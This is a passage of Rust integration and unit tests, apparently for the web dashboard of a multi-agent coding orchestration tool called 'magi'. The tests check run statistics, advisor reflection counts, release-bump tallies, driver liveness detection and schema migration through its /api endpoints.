17814 let html = include_str!("../assets/ui/index.html");
17815 assert!(html.contains("Approximate"));
17816 for label in ["reflected strongly", "faint", "no proposal"] {
17817 assert!(html.contains(label));
17818 }
17819 let css = include_str!("../assets/ui/app.css");
17820 for c in ["refl-strong", "refl-faint", "refl-absent"] {
17821 assert!(css.contains(&format!(".{c} {{")));
17822 }
17823 }
17824
17825 #[test]
17826 fn stats_daily_chart_is_planned_purely_and_rendered_from_the_api() {
17827 assert!(APP_JS.contains("function statsDailyPlan("));
17828 assert!(APP_JS.contains("renderStatsDaily(s.daily)"));
17829 assert!(INDEX_HTML.contains("id=\"stats-daily\""));
17830 }
17831
17832 #[test]
17833 fn a_keystroke_invalidates_the_search_reply_still_in_flight() {
17834 let start = APP_JS
17835 .find("function scheduleSearch(")
17836 .expect("scheduleSearch exists");
17837 let body = &APP_JS[start..];
17838 let body = &body[..body.find("\n}\n").expect("function end")];
17839 assert!(body.contains("s.seq += 1"));
17840 }
17841
17842 #[tokio::test]
17847 async fn stats_runs_unreadable_matches_health() {
17848 let f = Fixture::start().await;
17849 write_run(&f.runs(), "20260902-140501-good", RunStatus::Ready);
17850 let broken = f.runs().join("20260902-140502-bad");
17851 std::fs::create_dir_all(&broken).expect("run dir");
17852 std::fs::write(broken.join("run.json"), "{ truncated").expect("write run.json");
17853
17854 let stats = f.get("/api/stats").await;
17855 let health = f.get("/api/health").await;
17856
17857 assert_eq!(stats.status, 200);
17858 assert_eq!(stats.json()["totals"]["runs"], 1);
17859 assert_eq!(stats.json()["runs_unreadable"], 1);
17860 assert_eq!(
17861 stats.json()["runs_unreadable"],
17862 health.json()["runs_unreadable"],
17863 "the dashboard and /api/health must never disagree about how many \
17864 runs could not be read"
17865 );
17866 }
17867
17868 #[tokio::test]
17869 async fn stats_verdict_breakdown_covers_stalled_and_in_progress_runs() {
17870 let f = Fixture::start().await;
17871 write_run(&f.runs(), "20260902-140501-a", RunStatus::Merged);
17872 write_run(&f.runs(), "20260902-140502-b", RunStatus::Stalled);
17873 write_run(&f.runs(), "20260902-140503-c", RunStatus::Implementing);
17874
17875 let totals = &f.get("/api/stats").await.json()["totals"];
17876 assert_eq!(totals["runs"], 3);
17877 assert_eq!(totals["merged"], 1);
17878 assert_eq!(totals["stalled"], 1);
17879 assert_eq!(totals["in_progress"], 1);
17880 assert_eq!(totals["blocked"], 0);
17883 assert_eq!(totals["ready"], 0);
17884 }
17885
17886 #[tokio::test]
17887 async fn stats_advisors_report_proposals_and_reflection() {
17888 use crate::advise::{Advice, AdvisorRecord, Reflection};
17889 use crate::verdict::Proposal;
17890
17891 let f = Fixture::start().await;
17892 let mut state = RunState::new(
17893 PathBuf::from("/repo/magi"),
17894 "main".to_owned(),
17895 "0123456789abcdef".to_owned(),
17896 "task".to_owned(),
17897 Config::default(),
17898 );
17899 state.id = "20260902-140501-a".to_owned();
17900 state.status = RunStatus::Merged;
17901 state.advice = Some(Advice {
17902 records: vec![
17903 AdvisorRecord {
17904 seat: "advisor-1".to_owned(),
17905 agent: "alpha".to_owned(),
17906 proposal: Some(Proposal {
17907 approach: "do it".to_owned(),
17908 key_tradeoff: "speed over memory".to_owned(),
17909 risks: Vec::new(),
17910 touches: Vec::new(),
17911 why_not_naive: "breaks under load".to_owned(),
17912 }),
17913 error: None,
17914 duration_ms: 0,
17915 reflection: Reflection::Strong,
17916 },
17917 AdvisorRecord {
17918 seat: "advisor-2".to_owned(),
17919 agent: "alpha".to_owned(),
17920 proposal: None,
17921 error: Some("timed out".to_owned()),
17922 duration_ms: 0,
17923 reflection: Reflection::Absent,
17924 },
17925 ],
17926 synthesis: Some("blended brief".to_owned()),
17927 });
17928 let dir = f.runs().join(&state.id);
17929 std::fs::create_dir_all(&dir).expect("run dir");
17930 std::fs::write(
17931 dir.join("run.json"),
17932 serde_json::to_string_pretty(&state).expect("serialize run"),
17933 )
17934 .expect("write run.json");
17935
17936 let advisors = f.get("/api/stats?all=true").await.json()["advisors"].clone();
17938 let alpha = advisors
17939 .as_array()
17940 .expect("an array")
17941 .iter()
17942 .find(|a| a["agent"] == "alpha")
17943 .expect("alpha row");
17944 assert_eq!(alpha["seated"], 2);
17945 assert_eq!(alpha["proposed"], 1);
17946 assert_eq!(alpha["absent"], 1);
17947 assert_eq!(alpha["strong"], 1);
17948 assert_eq!(alpha["faint"], 0);
17949 assert_eq!(alpha["reflection_rate"]["pct"], 100.0);
17950 }
17951
17952 #[tokio::test]
17953 async fn stats_hides_agents_outside_the_roster_unless_all() {
17954 use crate::run::Candidate;
17955 let repo = TempDir::new().expect("repo dir");
17956 std::fs::write(
17957 repo.path().join("magi.toml"),
17958 "[[agents]]\nid = \"keep\"\nkind = \"claude\"\n",
17959 )
17960 .expect("magi.toml");
17961 let f = Fixture::with_repo(repo.path().to_path_buf()).await;
17962 let mut state = RunState::new(
17963 PathBuf::from("/repo/magi"),
17964 "main".to_owned(),
17965 "0123456789abcdef".to_owned(),
17966 "task".to_owned(),
17967 Config::default(),
17968 );
17969 state.id = "20260902-140501-a".to_owned();
17970 state.status = RunStatus::Merged;
17971 for (label, agent) in [('A', "keep"), ('B', "retired")] {
17972 let mut c: Candidate = serde_json::from_value(serde_json::json!({
17973 "index": 0, "label": label.to_string(), "agent": agent,
17974 "branch": "b", "worktree": "/w",
17975 }))
17976 .expect("candidate");
17977 c.label = label;
17978 state.candidates.push(c);
17979 }
17980 let dir = f.runs().join(&state.id);
17981 std::fs::create_dir_all(&dir).expect("run dir");
17982 std::fs::write(
17983 dir.join("run.json"),
17984 serde_json::to_string_pretty(&state).expect("serialize run"),
17985 )
17986 .expect("write run.json");
17987
17988 let agents_of = |v: &serde_json::Value| -> Vec<String> {
17989 v["agents"]
17990 .as_array()
17991 .expect("array")
17992 .iter()
17993 .map(|a| a["agent"].as_str().unwrap().to_owned())
17994 .collect()
17995 };
17996 let hidden = f.get("/api/stats").await.json();
17997 assert_eq!(agents_of(&hidden), ["keep"]);
17998 assert_eq!(hidden["retired_hidden"], serde_json::json!(["retired"]));
17999 assert_eq!(hidden["totals"]["runs"], 1);
18000
18001 let all = f.get("/api/stats?all=true").await.json();
18002 assert_eq!(agents_of(&all).len(), 2);
18003 assert_eq!(all["retired_hidden"], serde_json::json!([]));
18004 let keep_agent = all["agents"]
18006 .as_array()
18007 .unwrap()
18008 .iter()
18009 .find(|a| a["agent"] == "keep")
18010 .unwrap();
18011 assert_eq!(keep_agent["competitive_entered"], 1);
18012 assert_eq!(keep_agent["competitive_wins"], 0);
18013 assert_eq!(keep_agent["competitive_win_rate"]["pct"], 0.0);
18014 assert_eq!(keep_agent["solo_entered"], 0);
18015 assert_eq!(keep_agent["solo_adopted"], 0);
18016 assert!(keep_agent["solo_adoption_rate"].is_null());
18017 }
18018
18019 #[tokio::test]
18020 async fn stats_release_bumps_split_clean_from_attention() {
18021 use crate::run::ReleaseBump;
18022
18023 let f = Fixture::start().await;
18024
18025 let mut clean = RunState::new(
18026 PathBuf::from("/repo/magi"),
18027 "main".to_owned(),
18028 "0123456789abcdef".to_owned(),
18029 "task".to_owned(),
18030 Config::default(),
18031 );
18032 clean.id = "20260902-140501-a".to_owned();
18033 clean.status = RunStatus::Merged;
18034 clean.release_bump = Some(ReleaseBump {
18035 pr_url: Some("https://github.com/o/r/pull/1".to_owned()),
18036 version: Some("1.0.0".to_owned()),
18037 automerge_enabled: true,
18038 merged_directly: false,
18039 local: false,
18040 release: None,
18041 problem: None,
18042 action_required: None,
18043 });
18044
18045 let mut blocked = RunState::new(
18046 PathBuf::from("/repo/magi"),
18047 "main".to_owned(),
18048 "0123456789abcdef".to_owned(),
18049 "task".to_owned(),
18050 Config::default(),
18051 );
18052 blocked.id = "20260902-140502-b".to_owned();
18053 blocked.status = RunStatus::Merged;
18054 blocked.release_bump = Some(ReleaseBump {
18055 pr_url: Some("https://github.com/o/r/pull/2".to_owned()),
18056 version: Some("1.0.1".to_owned()),
18057 automerge_enabled: false,
18058 merged_directly: false,
18059 local: false,
18060 release: None,
18061 problem: Some("checks red".to_owned()),
18062 action_required: Some("look at the PR".to_owned()),
18063 });
18064
18065 for state in [&clean, &blocked] {
18066 let dir = f.runs().join(&state.id);
18067 std::fs::create_dir_all(&dir).expect("run dir");
18068 std::fs::write(
18069 dir.join("run.json"),
18070 serde_json::to_string_pretty(state).expect("serialize run"),
18071 )
18072 .expect("write run.json");
18073 }
18074
18075 let bumps = f.get("/api/stats").await.json()["release_bumps"].clone();
18076 assert_eq!(bumps["merged"], 2);
18077 assert_eq!(bumps["recorded"], 2);
18078 assert_eq!(bumps["pr_opened"], 2);
18079 assert_eq!(bumps["automerge_enabled"], 1);
18080 assert_eq!(bumps["needs_attention"], 1);
18081 assert_eq!(bumps["clean"], 1);
18082 assert_eq!(bumps["coverage_rate"]["pct"], 100.0);
18083 assert_eq!(bumps["attention_rate"]["pct"], 50.0);
18084 }
18085
18086 #[tokio::test]
18087 async fn stats_release_bumps_rates_are_null_with_nothing_recorded() {
18088 let f = Fixture::start().await;
18089 write_run(&f.runs(), "20260902-140501-a", RunStatus::Merged);
18090
18091 let bumps = f.get("/api/stats").await.json()["release_bumps"].clone();
18092 assert_eq!(bumps["merged"], 1);
18093 assert_eq!(bumps["recorded"], 0);
18094 assert_eq!(bumps["coverage_rate"]["pct"], 0.0);
18097 assert_eq!(bumps["automerge_rate"], Value::Null);
18100 assert_eq!(bumps["attention_rate"], Value::Null);
18101 }
18102
18103 #[tokio::test]
18104 async fn stats_queue_counts_come_from_the_live_queue() {
18105 let f = Fixture::start().await;
18106 let q = f.queue();
18107 let mut queued = Task::new(
18108 "queued task".to_owned(),
18109 "do it".to_owned(),
18110 PathBuf::from("/repo"),
18111 Source::Human,
18112 );
18113 q.put(&mut queued).expect("put queued");
18114 let mut held = Task::new(
18115 "held task".to_owned(),
18116 "do it later".to_owned(),
18117 PathBuf::from("/repo"),
18118 Source::Human,
18119 );
18120 held.hold_machine(Some("out of attempts".to_owned()));
18121 q.put(&mut held).expect("put held");
18122
18123 let queue = f.get("/api/stats").await.json()["queue"].clone();
18124 assert_eq!(queue["queued"], 1);
18125 assert_eq!(queue["held"], 1);
18126 assert_eq!(queue["running"], 0);
18127 assert_eq!(queue["done"], 0);
18128 assert_eq!(queue["failed"], 0);
18129 assert_eq!(queue["blocked"], 0);
18130 }
18131
18132 #[tokio::test]
18133 async fn stats_on_an_empty_home_is_all_zero_not_an_error() {
18134 let f = Fixture::start().await;
18135 let stats = f.get("/api/stats").await;
18136 assert_eq!(stats.status, 200);
18137 assert_eq!(stats.json()["totals"]["runs"], 0);
18138 assert_eq!(stats.json()["totals"]["completion_rate"], Value::Null);
18139 assert_eq!(stats.json()["runs_unreadable"], 0);
18140 assert!(stats.json()["agents"].as_array().unwrap().is_empty());
18141 assert!(stats.json()["advisors"].as_array().unwrap().is_empty());
18142 assert!(stats.json()["repos"].as_array().unwrap().is_empty());
18143 assert_eq!(stats.json()["repo"], Value::Null);
18144 }
18145
18146 #[tokio::test]
18147 async fn stats_lists_every_repository_with_runs_recorded() {
18148 let f = Fixture::start().await;
18149 write_run_repo(
18150 &f.runs(),
18151 "20260902-140501-a",
18152 RunStatus::Merged,
18153 "/repos/a",
18154 );
18155 write_run_repo(
18156 &f.runs(),
18157 "20260902-140502-b",
18158 RunStatus::Merged,
18159 "/repos/a",
18160 );
18161 write_run_repo(
18162 &f.runs(),
18163 "20260902-140503-c",
18164 RunStatus::Blocked,
18165 "/repos/b",
18166 );
18167
18168 let stats = f.get("/api/stats").await;
18169 assert_eq!(stats.status, 200);
18170 assert_eq!(stats.json()["totals"]["runs"], 3);
18172 assert_eq!(stats.json()["repo"], Value::Null);
18173
18174 let repos = stats.json()["repos"].clone();
18175 let repos = repos.as_array().unwrap();
18176 assert_eq!(repos.len(), 2);
18177 assert_eq!(repos[0]["repo"], "/repos/a");
18179 assert_eq!(repos[0]["name"], "a");
18180 assert_eq!(repos[0]["runs"], 2);
18181 assert_eq!(repos[1]["repo"], "/repos/b");
18182 assert_eq!(repos[1]["runs"], 1);
18183 }
18184
18185 #[tokio::test]
18186 async fn stats_repo_query_narrows_the_aggregate_to_one_repository() {
18187 let f = Fixture::start().await;
18188 write_run_repo(
18189 &f.runs(),
18190 "20260902-140501-a",
18191 RunStatus::Merged,
18192 "/repos/a",
18193 );
18194 write_run_repo(
18195 &f.runs(),
18196 "20260902-140502-b",
18197 RunStatus::Blocked,
18198 "/repos/b",
18199 );
18200
18201 let stats = f.get("/api/stats?repo=%2Frepos%2Fa").await;
18202 assert_eq!(stats.status, 200);
18203 assert_eq!(stats.json()["totals"]["runs"], 1);
18204 assert_eq!(stats.json()["totals"]["merged"], 1);
18205 assert_eq!(stats.json()["repo"], "/repos/a");
18206 assert_eq!(stats.json()["repos"].as_array().unwrap().len(), 2);
18209 assert_eq!(stats.json()["runs_unreadable"], 0);
18212 }
18213
18214 #[tokio::test]
18215 async fn stats_daily_is_thirty_ascending_days_scoped_by_repo() {
18216 let f = Fixture::start().await;
18217 write_run_repo(
18218 &f.runs(),
18219 "20260902-140501-a",
18220 RunStatus::Merged,
18221 "/repos/a",
18222 );
18223 write_run_repo(
18224 &f.runs(),
18225 "20260902-140502-b",
18226 RunStatus::Merged,
18227 "/repos/b",
18228 );
18229
18230 for uri in ["/api/stats", "/api/stats?repo=%2Frepos%2Fa"] {
18231 let json = f.get(uri).await.json();
18232 let daily = json["daily"].as_array().expect("daily is an array");
18233 assert_eq!(daily.len(), 30);
18234 let dates: Vec<&str> = daily.iter().map(|d| d["date"].as_str().unwrap()).collect();
18235 let mut sorted = dates.clone();
18236 sorted.sort();
18237 assert_eq!(dates, sorted);
18238 for d in daily {
18239 assert_eq!(
18240 d["merged"].as_u64().unwrap()
18241 + d["ready"].as_u64().unwrap()
18242 + d["other"].as_u64().unwrap(),
18243 d["runs"].as_u64().unwrap()
18244 );
18245 }
18246 assert!(json["totals"]["runs"].as_u64().unwrap() >= 1);
18247 }
18248 }
18249
18250 #[tokio::test]
18251 async fn stats_repo_query_for_an_unknown_repo_is_a_404() {
18252 let f = Fixture::start().await;
18253 write_run_repo(
18254 &f.runs(),
18255 "20260902-140501-a",
18256 RunStatus::Merged,
18257 "/repos/a",
18258 );
18259
18260 let stats = f.get("/api/stats?repo=%2Frepos%2Fnope").await;
18261 assert_eq!(stats.status, 404);
18262 }
18263
18264 #[tokio::test]
18265 async fn a_run_is_summarised_for_the_list_and_served_whole_on_its_own_route() {
18266 let f = Fixture::start().await;
18267 write_run(&f.runs(), "20260902-140501-a1b2", RunStatus::Ready);
18268
18269 let summary = f.get("/api/runs").await.json();
18270 let row = &summary[0];
18271 assert_eq!(row["short"], "a1b2");
18272 assert_eq!(row["status"], "ready");
18273 assert_eq!(row["done"], true);
18274 assert_eq!(row["title"], "Add a web UI");
18275 assert_eq!(row["repo_name"], "magi");
18276 assert_eq!(row["judges"], 3);
18277 assert_eq!(row["winner"], Value::Null);
18278 assert_eq!(row["reviews"], 0);
18279
18280 let detail = f.get("/api/runs/a1b2").await;
18283 assert_eq!(detail.status, 200);
18284 assert_eq!(detail.json()["base_branch"], "main");
18285 assert_eq!(detail.json()["id"], "20260902-140501-a1b2");
18286 }
18287
18288 #[tokio::test]
18296 async fn a_mode_none_ready_run_is_flagged_unmerged_by_design_everywhere() {
18297 let f = Fixture::start().await;
18298
18299 let mut none_run = RunState::new(
18300 PathBuf::from("/repo/magi"),
18301 "main".to_owned(),
18302 "0123456789abcdef".to_owned(),
18303 "Add a web UI".to_owned(),
18304 Config::default(),
18305 );
18306 none_run.id = "20260902-140503-none".to_owned();
18307 none_run.status = RunStatus::Ready;
18308 none_run.merge = Some(crate::run::MergeOutcome {
18309 mode: crate::config::MergeMode::None,
18310 ok: true,
18311 detail: "git -C /repo merge --no-ff magi/x/A".to_owned(),
18312 empty: false,
18313 });
18314 write_state(&f.runs(), &none_run);
18315
18316 let mut pr_run = RunState::new(
18317 PathBuf::from("/repo/magi"),
18318 "main".to_owned(),
18319 "0123456789abcdef".to_owned(),
18320 "Add a web UI".to_owned(),
18321 Config::default(),
18322 );
18323 pr_run.id = "20260902-140504-prcl".to_owned();
18324 pr_run.status = RunStatus::Ready;
18325 pr_run.merge = Some(crate::run::MergeOutcome {
18326 mode: crate::config::MergeMode::Pr,
18327 ok: false,
18328 detail: "https://example.com/pr/1 was closed without merging".to_owned(),
18329 empty: false,
18330 });
18331 write_state(&f.runs(), &pr_run);
18332
18333 let summary = f.get("/api/runs").await.json();
18334 let rows: std::collections::HashMap<&str, &Value> = summary
18335 .as_array()
18336 .expect("an array")
18337 .iter()
18338 .map(|r| (r["id"].as_str().expect("an id"), r))
18339 .collect();
18340 assert_eq!(rows[none_run.id.as_str()]["status"], "ready");
18341 assert_eq!(
18342 rows[none_run.id.as_str()]["unmerged_by_design"],
18343 true,
18344 "a mode-none Ready must be flagged in the list"
18345 );
18346 assert_eq!(
18347 rows[pr_run.id.as_str()]["unmerged_by_design"],
18348 false,
18349 "a Ready reached by a closed pull request is a different case"
18350 );
18351
18352 let none_detail = f.get(&format!("/api/runs/{}", none_run.id)).await.json();
18353 assert_eq!(none_detail["status"], "ready");
18354 assert_eq!(none_detail["unmerged_by_design"], true);
18355
18356 let pr_detail = f.get(&format!("/api/runs/{}", pr_run.id)).await.json();
18357 assert_eq!(pr_detail["unmerged_by_design"], false);
18358 }
18359
18360 #[tokio::test]
18365 async fn run_core_survives_unavailable_related_stores() {
18366 let home = TempDir::new().unwrap();
18367 let ui = delta_test_ui(home.path());
18368 let state = RunState::new(
18369 PathBuf::from("/repo/magi"),
18370 "main".into(),
18371 "0123456789abcdef".into(),
18372 "Useful core instructions".into(),
18373 Config::default(),
18374 );
18375 let dir = ui.runs.join(&state.id);
18376 std::fs::create_dir_all(&dir).unwrap();
18377 std::fs::write(dir.join("run.json"), serde_json::to_vec(&state).unwrap()).unwrap();
18378 std::fs::write(ui.questions.root(), "unavailable").unwrap();
18379 std::fs::write(ui.queue.root(), "unavailable").unwrap();
18380 let core = run_core(State(ui.clone()), Path(state.id.clone()))
18381 .await
18382 .unwrap()
18383 .0;
18384 assert_eq!(core.state.instruction, state.instruction);
18385 assert_eq!(core.state.updated_at, state.updated_at);
18386 assert!(core.task.is_none());
18387 assert!(run_detail(State(ui), Path(state.id)).await.is_err());
18388 }
18389
18390 #[tokio::test]
18391 async fn run_detail_reports_active_seats_and_whether_a_daemon_confirms_them() {
18392 let f = Fixture::start().await;
18393 let id = "20260902-140502-bbbb";
18397 let mut state = RunState::new(
18398 PathBuf::from("/repo/magi"),
18399 "main".to_owned(),
18400 "0123456789abcdef".to_owned(),
18401 "Add a web UI".to_owned(),
18402 Config::default(),
18403 );
18404 state.id = id.to_owned();
18405 state.status = RunStatus::Judging;
18406 state.seat_started("judge", "judge-2", std::time::Duration::from_secs(120), 0);
18407 let dir = f.runs().join(id);
18408 std::fs::create_dir_all(&dir).expect("run dir");
18409 std::fs::write(
18410 dir.join("run.json"),
18411 serde_json::to_string_pretty(&state).expect("serialize run"),
18412 )
18413 .expect("write run.json");
18414
18415 let cold = f.get(&format!("/api/runs/{id}")).await.json();
18421 assert_eq!(cold["active"]["judge-2"]["node"], "judge");
18422 assert_eq!(cold["live"], "unknown", "{cold}");
18423
18424 write_daemon(f.home.path(), Timestamp::now());
18427 let warm = f.get(&format!("/api/runs/{id}")).await.json();
18428 assert_eq!(warm["live"], "live", "{warm}");
18429 }
18430
18431 #[test]
18432 fn schema_thirteen_loads_through_cli_and_web_without_rewriting() {
18433 let home = tempfile::tempdir().expect("temp home");
18434 let runs = home.path().join("runs");
18435 for origin in [None, Some(crate::run::Origin::queue("legacy-task"))] {
18436 let mut state = RunState::new(
18437 PathBuf::from("/repo/magi"),
18438 "main".to_owned(),
18439 "0123456789abcdef".to_owned(),
18440 "Generated review context, not authored task criteria".to_owned(),
18441 Config::default(),
18442 );
18443 state.origin = origin;
18444 state.status = RunStatus::Blocked;
18445 state.driver_exited = false;
18447 state.gate_ran = true;
18448 let expected = serde_json::to_value(&state).expect("serialize current state");
18449 let mut legacy = expected.clone();
18450 legacy["schema"] = serde_json::json!(13);
18451 legacy.as_object_mut().unwrap().remove("task_instruction");
18452 let dir = runs.join(&state.id);
18453 std::fs::create_dir_all(&dir).expect("run dir");
18454 let path = dir.join("run.json");
18455 let body = serde_json::to_vec_pretty(&legacy).expect("serialize legacy state");
18456 std::fs::write(&path, &body).expect("write legacy run");
18457
18458 for loaded in [
18459 RunState::load_under(&state.id, home.path()).expect("CLI migration"),
18460 read_run(&runs, &state.id).expect("web migration"),
18461 ] {
18462 assert_eq!(loaded.schema, crate::run::SCHEMA);
18463 assert!(loaded.task_instruction.is_none());
18464 assert_eq!(serde_json::to_value(loaded).unwrap(), expected);
18465 }
18466 assert_eq!(runs_unreadable(&runs), 0);
18467 assert_eq!(std::fs::read(&path).unwrap(), body);
18468 }
18469 }
18470
18471 #[tokio::test]
18474 async fn run_detail_shows_the_origin_and_reads_a_pre_origin_run_as_unknown() {
18475 let f = Fixture::start().await;
18476 let write = |id: &str, origin: Option<crate::run::Origin>, schema: Option<u32>| {
18477 let mut state = RunState::new(
18478 PathBuf::from("/repo/magi"),
18479 "main".to_owned(),
18480 "0123456789abcdef".to_owned(),
18481 "Add a web UI".to_owned(),
18482 Config::default(),
18483 );
18484 state.id = id.to_owned();
18485 state.origin = origin;
18486 let mut value = serde_json::to_value(&state).expect("serialize run");
18487 if let Some(schema) = schema {
18488 value["schema"] = serde_json::json!(schema);
18489 value.as_object_mut().unwrap().remove("origin");
18490 }
18491 let dir = f.runs().join(id);
18492 std::fs::create_dir_all(&dir).expect("run dir");
18493 std::fs::write(dir.join("run.json"), value.to_string()).expect("write run.json");
18494 };
18495 write(
18496 "20260930-092817-ec34",
18497 Some(crate::run::Origin::from_agent_env(
18498 Some(("4a7b".to_owned(), "chat".to_owned())),
18499 None,
18500 )),
18501 None,
18502 );
18503 write("20260930-092817-0ld1", None, Some(12));
18504
18505 let new = f.get("/api/runs/20260930-092817-ec34").await.json();
18506 assert_eq!(new["origin_label"], "chat 4a7b", "{new}");
18507 assert_eq!(new["origin"]["by"]["kind"], "chat", "{new}");
18508
18509 let old = f.get("/api/runs/20260930-092817-0ld1").await.json();
18510 assert_eq!(
18511 old["origin_label"], "origin unknown (started before origins were recorded)",
18512 "{old}"
18513 );
18514 assert!(old["origin"].is_null(), "{old}");
18515
18516 let list = f.get("/api/runs").await.json();
18517 let labels: Vec<_> = list
18518 .as_array()
18519 .unwrap()
18520 .iter()
18521 .map(|r| r["origin_label"].as_str().unwrap().to_owned())
18522 .collect();
18523 assert!(labels.contains(&"chat 4a7b".to_owned()), "{list}");
18524 }
18525
18526 #[tokio::test]
18533 async fn run_detail_reads_a_manual_run_with_a_live_driver_pid_as_live_without_a_daemon() {
18534 let f = Fixture::start().await;
18535 let id = "20260922-090000-cccc";
18536 let mut state = RunState::new(
18537 PathBuf::from("/repo/magi"),
18538 "main".to_owned(),
18539 "0123456789abcdef".to_owned(),
18540 "Review only".to_owned(),
18541 Config::default(),
18542 );
18543 state.id = id.to_owned();
18544 state.status = RunStatus::Reviewing;
18545 state.seat_started("review", "review-1", std::time::Duration::from_secs(120), 0);
18546 state.driver_pid = Some(std::process::id());
18552 state.driver_started_at = Some(
18553 crate::proc::process_started_at(std::process::id())
18554 .expect("this test process's own start time must be queryable"),
18555 );
18556 let dir = f.runs().join(id);
18557 std::fs::create_dir_all(&dir).expect("run dir");
18558 std::fs::write(
18559 dir.join("run.json"),
18560 serde_json::to_string_pretty(&state).expect("serialize run"),
18561 )
18562 .expect("write run.json");
18563
18564 let detail = f.get(&format!("/api/runs/{id}")).await.json();
18565 assert_eq!(detail["live"], "live", "{detail}");
18566 }
18567
18568 #[tokio::test]
18574 async fn run_detail_reads_a_live_pid_as_dead_once_its_start_time_no_longer_matches() {
18575 let f = Fixture::start().await;
18576 let id = "20260922-090100-dddd";
18577 let mut state = RunState::new(
18578 PathBuf::from("/repo/magi"),
18579 "main".to_owned(),
18580 "0123456789abcdef".to_owned(),
18581 "Review only".to_owned(),
18582 Config::default(),
18583 );
18584 state.id = id.to_owned();
18585 state.status = RunStatus::Reviewing;
18586 state.seat_started("review", "review-1", std::time::Duration::from_secs(120), 0);
18587 state.driver_pid = Some(std::process::id());
18592 state.driver_started_at = Some("1".to_owned());
18593 let dir = f.runs().join(id);
18594 std::fs::create_dir_all(&dir).expect("run dir");
18595 std::fs::write(
18596 dir.join("run.json"),
18597 serde_json::to_string_pretty(&state).expect("serialize run"),
18598 )
18599 .expect("write run.json");
18600
18601 let detail = f.get(&format!("/api/runs/{id}")).await.json();
18602 assert_eq!(detail["live"], "dead", "{detail}");
18603 }
18604
18605 #[test]
18609 fn summarize_asks_about_each_pid_once_and_keeps_the_row_meaning() {
18610 let mk = |id: &str, pid: Option<u32>| {
18611 let mut s = RunState::new(
18612 PathBuf::from("/repo/magi"),
18613 "main".to_owned(),
18614 "0123456789abcdef".to_owned(),
18615 "Add a web UI".to_owned(),
18616 Config::default(),
18617 );
18618 s.id = id.to_owned();
18619 s.driver_pid = pid;
18620 s.driver_started_at = Some("1790000000".to_owned());
18621 s
18622 };
18623 let states = vec![
18624 mk("20260902-140502-aaaa", Some(77)),
18625 mk("20260902-140502-bbbb", Some(77)),
18626 mk("20260902-140502-cccc", Some(77)),
18627 mk("20260902-140502-dddd", None),
18628 ];
18629 let open: HashSet<String> = ["20260902-140502-bbbb".to_owned()].into();
18630 let claimed: HashSet<String> = ["20260902-140502-dddd".to_owned()].into();
18631 let sup: HashMap<String, String> = [(
18632 "20260902-140502-aaaa".to_owned(),
18633 "20260902-140502-cccc".to_owned(),
18634 )]
18635 .into();
18636
18637 let status_calls = std::cell::Cell::new(0);
18638 let identity_calls = std::cell::Cell::new(0);
18639 let probe = std::cell::RefCell::new(crate::proc::ProcProbe::new(
18640 |_| {
18641 status_calls.set(status_calls.get() + 1);
18642 Some(true)
18643 },
18644 |_| {
18645 identity_calls.set(identity_calls.get() + 1);
18646 Some("1790000000".to_owned())
18647 },
18648 ));
18649 let rows = summarize(
18650 states,
18651 &open,
18652 &claimed,
18653 &sup,
18654 |p| probe.borrow_mut().status(p),
18655 |p| probe.borrow_mut().started_at(p),
18656 );
18657
18658 assert_eq!(status_calls.get(), 1, "one pid, one status query");
18659 assert_eq!(identity_calls.get(), 1, "one pid, one identity query");
18660 assert_eq!(rows.len(), 4);
18661 assert!(!rows[0].waiting && rows[1].waiting);
18662 assert_eq!(rows[0].live, crate::run::Liveness::Live);
18663 assert_eq!(rows[3].live, crate::run::Liveness::Live, "claim alone");
18664 assert_eq!(rows[0].superseded_by.as_deref(), Some("cccc"));
18665 assert_eq!(rows[1].superseded_by, None);
18666 }
18667
18668 #[test]
18669 fn run_list_exposes_a_confirmed_dead_driver_for_stale_presentation() {
18670 let mut state = RunState::new(
18671 PathBuf::from("/repo/magi"),
18672 "main".to_owned(),
18673 "0123456789abcdef".to_owned(),
18674 "Review only".to_owned(),
18675 Config::default(),
18676 );
18677 state.id = "20260922-090200-dead".to_owned();
18678 state.status = RunStatus::Reviewing;
18679 let row = serde_json::to_value(RunSummary::of(&state, false, crate::run::Liveness::Dead))
18680 .expect("serialize list row");
18681 assert_eq!(row["status"], "reviewing");
18682 assert_eq!(row["display_status"], "stale");
18683 assert_eq!(row["live"], "dead", "{row}");
18684 assert!(!row["done"].as_bool().unwrap());
18685 }
18686
18687 #[test]
18688 fn run_display_status_distinguishes_park_crash_and_owner_wait() {
18689 use crate::run::Liveness::{Dead, Live, Unknown};
18690 let mut state = RunState::new(
18691 PathBuf::from("/repo/magi"),
18692 "main".to_owned(),
18693 "abc".to_owned(),
18694 "Review only".to_owned(),
18695 Config::default(),
18696 );
18697 for (status, parked, node, waiting, live, expected) in [
18698 (
18699 RunStatus::Judging,
18700 true,
18701 "github-text",
18702 false,
18703 Dead,
18704 "parked",
18705 ),
18706 (RunStatus::Judging, false, "park", false, Dead, "stale"),
18707 (RunStatus::Judging, false, "judge", false, Dead, "stale"),
18708 (
18709 RunStatus::Judging,
18710 true,
18711 "github-text",
18712 true,
18713 Dead,
18714 "waiting",
18715 ),
18716 (
18717 RunStatus::Judging,
18718 false,
18719 "github-text",
18720 true,
18721 Dead,
18722 "waiting",
18723 ),
18724 (
18725 RunStatus::Judging,
18726 false,
18727 "github-text",
18728 false,
18729 Dead,
18730 "stale",
18731 ),
18732 (RunStatus::Judging, false, "resume", false, Dead, "stale"),
18733 (RunStatus::Judging, true, "park", false, Live, "judging"),
18734 (RunStatus::Judging, true, "park", false, Unknown, "judging"),
18735 (RunStatus::Merged, true, "park", false, Dead, "merged"),
18736 (RunStatus::Blocked, true, "park", false, Dead, "blocked"),
18737 (
18738 RunStatus::Blocked,
18739 true,
18740 "github-text",
18741 true,
18742 Dead,
18743 "waiting",
18744 ),
18745 ] {
18746 state.status = status;
18747 state.parked = parked;
18748 state.events.clear();
18749 state.event(
18750 "park",
18751 "an earlier park does not determine the latest state",
18752 );
18753 state.event(node, "message is not used for classification");
18754 let summary = RunSummary::of(&state, waiting, live);
18755 let detail = RunDetailView::of(state.clone(), waiting, live, None, None, None);
18756 assert_eq!(
18757 summary.display_status, expected,
18758 "{status:?}/{node}/{live:?}"
18759 );
18760 assert_eq!(detail.display_status, summary.display_status);
18761 assert_eq!(detail.waiting, summary.waiting);
18762 }
18763 state.status = RunStatus::Judging;
18764 state.parked = false;
18765 state.events.clear();
18766 assert_eq!(run_display_status(&state, false, Dead), "stale");
18767 }
18768
18769 #[test]
18770 fn badge_status_prefers_superseded_then_stale_and_spares_live_and_terminal() {
18771 use crate::run::Liveness::{Dead, Live, Unknown};
